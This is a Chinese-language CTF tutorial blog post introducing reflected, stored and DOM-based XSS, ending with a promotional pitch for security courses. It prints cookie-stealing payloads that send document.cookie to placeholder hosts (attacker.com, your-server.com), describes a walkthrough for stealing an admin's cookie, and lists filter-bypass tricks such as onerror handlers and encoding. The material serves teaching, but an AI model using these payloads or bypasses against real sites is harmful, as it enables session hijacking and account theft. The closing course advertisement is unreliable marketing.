CTF Web 专项:XSS 跨站脚本攻击快速入门

CTF Web 专项:XSS 跨站脚本攻击快速入门

XSS(Cross - Site Scripting,跨站脚本攻击)是 Web 安全领域的核心考点,其本质是攻击者向 Web 页面注入恶意脚本(像 JavaScript 脚本),当用户访问该页面时,脚本会被浏览器执行,进而实现窃取用户信息、控制用户行为等目的。在 CTF(夺旗赛)中,常通过 XSS 来获取 Cookie、伪造操作等以拿到 Flag,下面快速讲解核心要点。

一、XSS 核心原理

Web 应用若未对用户输入(比如评论内容、搜索框输入、URL 参数等)进行过滤或者转义处理,攻击者注入的脚本就会被嵌入到页面的源码里。当其他用户访问这个页面时,浏览器会把恶意脚本当作合法代码来执行,从而达成攻击目的(例如窃取 Cookie、进行弹窗诈骗等)。

二、3 类常见 XSS 类型

(一)反射型 XSS

特点:恶意脚本是通过 URL 参数注入的,页面会 “反射” 执行该脚本,且不会持久存储脚本。

CTF 场景:假设 URL 中包含?name=xxx这样的参数,注入<script>alert(1)</script>,当访问这个 URL 时,脚本就会被执行,弹出警告框。

(二)存储型 XSS

特点:恶意脚本会被存储到服务器(比如数据库、文件等地方),所有访问该页面的用户都会触发这个脚本。

CTF 场景:以留言板功能为例,注入<script>document.location='``http://attacker.com/steal?cookie=``'+document.cookie</script>,当管理员查看留言时,Cookie 就会被发送到攻击者的服务器。

(三)DOM 型 XSS

特点:通过修改页面的 DOM 结构来执行脚本,和服务端交互没有关系,属于纯前端漏洞。

CTF 场景:页面中存在document.write(location.hash.substr(1))这样的代码,构造 URL#<script>alert(1)</script>,脚本会被写入页面并执行。

三、CTF 实战:从注入到拿 Flag

以 “反射型 XSS 拿 Flag(目标:窃取管理员 Cookie,Cookie 中包含 Flag)” 为例:

  1. 构造 payload:编写用于窃取 Cookie 的脚本,例如<script>document.location='``http://your-server.com/steal?cookie=``'+document.cookie</script>
  2. 注入 payload:在 URL 参数(比如?name=<script>...</script>)中注入该脚本,生成恶意链接。
  3. 诱导触发:让管理员点击这个恶意链接(在 CTF 中,常因为 “管理员会查看所有提交内容” 的规则,直接提交链接就可触发)。
  4. 获取 Flag:当管理员访问后,包含Flag{xxx}的 Cookie 会发送到your-server.com,从而拿到 Flag。

四、绕过与防御思路

(一)绕过过滤

如果前端或者服务端过滤了<script>等关键字,可通过以下方式绕过:

  • 大小写混合:使用<ScRiPt>alert(1)</ScRiPt>
  • 标签变形:采用<img src=1 onerror=alert(1)>(利用onerror事件来执行脚本);
  • 编码注入:把脚本转换成 URL 编码、HTML 实体编码后再注入。
(二)防御核心

服务端要对用户输入进行严格的过滤、转义(比如把<转成<),或者前端使用CSP(内容安全策略)来限制脚本的来源。

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

题外话

黑客&网络安全如何学习

如果你也对网路安全技术感兴趣,但是又没有合适的学习资源,我可以把私藏的网安学习资料免费共享给你们,来看看有哪些东西。

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值